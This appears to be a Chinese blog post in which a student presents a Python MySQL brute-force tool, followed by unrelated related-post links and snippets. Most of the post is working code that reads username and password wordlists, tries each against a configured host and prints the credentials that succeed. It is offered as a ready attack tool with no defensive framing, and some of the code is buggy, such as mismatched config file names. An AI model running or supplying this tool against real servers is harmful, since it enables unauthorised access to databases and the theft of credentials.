python 构造mysql爆破器
前言:
今天已经期末考完,睡了个觉起床写了个
mysql爆破器.
思路:
1.爆破用户->用户存在的话不会报错反之报错
2.爆破密码->密码正确不会报错反之报错
3.用户名和密码一起爆破->用户名和密码正确不会报错反之报错
用到的模块:
optparser
pymysql
configparser
os
代码:
import pymysql
import optparse
import os
import configparser def main():
parser=optparse.OptionParser()
parser.add_option('-u',dest='username',help='MySQL username of blasting')
parser.add_option('-p',dest='password',help='MySQL password of blasting')
parser.add_option('-a',action='store_true',dest='all',help='MySQL all of blasting')
parser.add_option('-U',dest='zhidinusername',help='Configuration parameters for all: specify user dictionary')
parser.add_option('-P',dest='zhidinpassword',help='Configuration parameters for all: specify password dictionary')
(options,args)=parser.parse_args()
if options.username:
file=options.username
usernamepo(file)
elif options.password:
file2=options.password
passwordpo(file2)
elif options.all and options.zhidinusername and options.zhidinpassword:
un=options.zhidinusername
pd=options.zhidinpassword
allpo(un,pd)
else:
parser.print_help()
exit() def usernamepo(file):
cx=open('{}'.format(file),'r')
if os.path.exists('config.ini'):
print('[+]Config.ini ok')
else:
print('[-]Config.ini Not Found')
exit() print('[*]Read the configuration file information')
cf=configparser.ConfigParser()
cf.read('config.ini')
host=cf.get('config','host')
port=cf.get('config','port')
password=cf.get('config','password')
print('[/]-------Config.ini-------')
print('[+]Host:{}'.format(host))
print('[+]Port:{}'.format(port))
print('[+]password{}'.format(password)) print('[/]------User.txt----------')
if os.path.exists(file):
print('[+]User.txt ok')
else:
print('[-]User.txt Not Found') print('[/]------Mysql blasting------')
for k in cx.readlines():
try:
db=pymysql.connect(host,k.strip(),password)
print('[+]Mysql Username in {}'.format(k.strip()))
except Exception as g:
print('[-]Not Username:{},and Error{}'.format(k.strip(),g)) def passwordpo(file2):
cx = open('{}'.format(file2), 'r')
if os.path.exists('config.ini'):
print('[+]Config.ini ok')
else:
print('[-]Config.ini Not Found')
exit() print('[*]Read the configuration file information')
cf = configparser.ConfigParser()
cf.read('config2.ini')
host = cf.get('config', 'host')
port = cf.get('config', 'port')
username = cf.get('config', 'username')
print('[/]-------Config.ini-------')
print('[+]Host:{}'.format(host))
print('[+]Port:{}'.format(port))
print('[+]username{}'.format(username)) print('[/]------passwd.txt----------')
if os.path.exists(file2):
print('[+]Passwd.txt ok')
else:
print('[-]Passwd.txt Not Found') print('[/]------Mysql blasting------')
for k in cx.readlines():
try:
db = pymysql.connect(host, username, k.strip())
print('[+]Mysql Password in {}'.format(k.strip()))
except Exception as g:
print('[-]Not Password:{},and Error{}'.format(k.strip(), g)) def allpo(un,pd):
user=open('{}'.format(un),'r')
passs=open('{}'.format(pd),'r')
usern=[]
passn=[]
if os.path.exists(un):
print('[+]Username.txt is ok')
else:
print('[-]Not Found username.txt') if os.path.exists(pd):
print('[+]Password.txt is ok')
else:
print('[-]Not Found password.txt') if os.path.exists('config3.ini'):
print('[+]Config3.ini ok')
else:
print('[-]Config3.ini Not Found')
exit() cf=configparser.ConfigParser()
print('[/---------cofnig3.ini-------]')
cf.read('config3.ini')
host=cf.get('config','host')
print('[+]host:{}'.format(host)) print('[/]------Mysql blasting------')
for u in user.readlines():
usern.append(u.strip())
for y in passs.readlines():
passn.append(y.strip())
for g in range(0,len(usern)):
try:
dk=pymysql.connect(host,usern[g],passn[g])
print('[+]Username:{} and password:{}'.format(usern[g],passn[g]))
except Exception as p:
print('[-]Not username:{} and password:{} and Error:{}'.format(usern[g],passn[g],p)) if __name__ == '__main__':
main()
-u测试:

-p测试:

-a测试:

实际连接:

python 构造mysql爆破器的更多相关文章
- Python开发【第十一篇】:Python操作MySQL
本篇对于Python操作MySQL主要使用两种方式: 1.原生模块pymsql. 2.ORM框架SQLAchemy. pymsql pymsql是Python中操作MySQL的模块,其使用方法和MyS ...
- Python 12 - Mysql & ORM
本节内容 1.数据库介绍 2.mysql数据库安装使用 3.mysql数据库基础 4.mysql命令 5.事务 6.索引 7.Python操作mysql 8.ORM sqlalchemy了解 数据库介 ...
- Python 3 mysql 数据类型
Python 3 mysql 数据类型 存储引擎决定了表的类型,而表内存放的数据也要有不同的类型,每种数据类型都有自己的宽度,但宽度是可选的 详细参考: http://www.runoob.com/m ...
- Python操作MySQL[转]
本篇对于Python操作MySQL主要使用两种方式: 1.原生模块pymsql. 2.ORM框架SQLAchemy. pymsql pymsql是Python中操作MySQL的模块,其使用方法和MyS ...
- MySQL之Python与Mysql交互
一:Python操作MySQL步骤 1:Python中操作MySQL的步骤 2.引入模块 在.py文件中引入pymysql模块 import pymysql pymysql是python的一个第三方与 ...
- python操作MySQL数据库连接
目录 一:python操作MySQL 1.python如何操作MySQL? 2.什么是 PyMySQL? 二:PyMySQL 安装 1.方法一: 2.方法二: 三:pyMySQL模块基本使用 1.py ...
- 【初学python】使用python连接mysql数据查询结果并显示
因为测试工作经常需要与后台数据库进行数据比较和统计,所以采用python编写连接数据库脚本方便测试,提高工作效率,脚本如下(python连接mysql需要引入第三方库MySQLdb,百度下载安装) # ...
- Python(九) Python 操作 MySQL 之 pysql 与 SQLAchemy
本文针对 Python 操作 MySQL 主要使用的两种方式讲解: 原生模块 pymsql ORM框架 SQLAchemy 本章内容: pymsql 执行 sql 增\删\改\查 语句 pymsql ...
- 使用 python 管理 mysql 开发工具箱 - 1
Mysql 是一个比较优秀的开源的数据库,很多公司都在使用.作为运维人员,经常做着一些重复性的工作,比如创建数据库实例,数据库备份等,完全都可以使用 python 编写一个工具来实现. 一.模块 Co ...
随机推荐
- Memento(备忘录)
意图: 在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态.这样以后就可将该对象恢复到原先保存的状态. 适用性: 必须保存一个对象在某一个时刻的(部分)状态, 这样以后需要时它 ...
- 常用 Math 属性及方法
Math 对象 Math.PI π 3.141592653589793 Math.ceil('2.5') Math.ceil(2.1) 向上取整 3 Math.floor ...
- 在线教育工具—白板系统的迭代1——bug监控排查
近一年都在做一款在线教育工具(以下统称为“白板”)的开发工作,期间遇到N多的问题与坑,遂在此记录,并及时更新. 第一篇:关于资源访问填坑 因为是在线授课,所以使用我们白板的人员地域范围较广,基本上西到 ...
- js获取当前日期(年月日格式)
function getNowFormatDate() { var date = new Date(); var seperator1 = "-"; var year = date ...
- jackson springboot null节点忽略配置
spring: jackson: date-format: yyyy-MM-dd HH:mm:ss default-property-inclusion: non_null spring.jackso ...
- Ubuntu 分区方安
方案一: / 40G/boot 200MBswap 1G-2G /home 20G 剩 下的分为几个独立的分区,不用指定挂载点,而是安装完成后修改 /etc/fstab ,将这些区挂载在/home的子 ...
- bzoj1225
题解: 数论+报搜 首先套一个计算因子个数的公式 枚举一下这个数 代码: #include<bits/stdc++.h> using namespace std; ],res[],tmp[ ...
- 分析hello.java文件
使用JavaServer Faces技术的Web模块示例 1.hello1: hello1应用程序是一个web模块,它使用JavaServer Faces技术来显示问候和响应.可以使用文本编辑器查看应 ...
- css3动画的原理 及 各种效果制作
1. 制作小球弹动效果 在这篇文章中,我们将会去探究一下浏览器是如何去处理CSS Animations和CSS Transitions的, c 以便使你在写一些动画效果之前就可以对该动画在浏览器中 ...
- 'mysql'不是内部或外部命令,也不是可运行的程序或批处理文件.
'mysql'不是内部或外部命令,也不是可运行的程序或批处理文件. 今天中午新换了一个系统,重装了一下wampserver2.2.下午想导入一个数据库文件打开dos,输入MySQL -u root - ...